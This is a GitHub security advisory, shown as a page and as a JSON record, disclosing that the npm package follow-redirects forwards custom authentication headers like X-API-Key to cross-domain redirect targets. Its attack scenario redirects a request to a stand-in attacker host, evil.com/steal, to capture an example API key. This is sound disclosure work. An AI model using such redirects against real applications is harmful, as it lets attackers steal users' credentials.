GHSA-R4Q5-VMMM-2653

Vulnerability from github – Published: 2026-04-14 01:11 – Updated: 2026-11-02 23:19
VLAI
Summary
follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets
Details

Summary

When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.

Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.

Affected Code

index.js, lines 469-476:

if (redirectUrl.protocol !== currentUrlParts.protocol &&
   redirectUrl.protocol !== "https:" ||
   redirectUrl.host !== currentHost &&
   !isSubdomain(redirectUrl.host, currentHost)) {
  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}

The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.

Attack Scenario

  1. App uses axios with custom auth header: headers: { 'X-API-Key': 'sk-live-secret123' }
  2. Server returns 302 Location: https://evil.com/steal
  3. follow-redirects sends X-API-Key: sk-live-secret123 to evil.com
  4. Attacker captures the API key

Impact

Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.

Suggested Fix

Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.

Disclosure

Source code review, manually verified. Found 2026-03-20.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.15.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "follow-redirects"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T01:11:11Z",
    "nvd_published_at": "2026-04-21T21:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol \u0026\u0026\n   redirectUrl.protocol !== \"https:\" ||\n   redirectUrl.host !== currentHost \u0026\u0026\n   !isSubdomain(redirectUrl.host, currentHost)) {\n  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { \u0027X-API-Key\u0027: \u0027sk-live-secret123\u0027 }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.",
  "id": "GHSA-r4q5-vmmm-2653",
  "modified": "2026-11-02T23:19:20Z",
  "published": "2026-04-14T01:11:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/follow-redirects/follow-redirects"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets"
}



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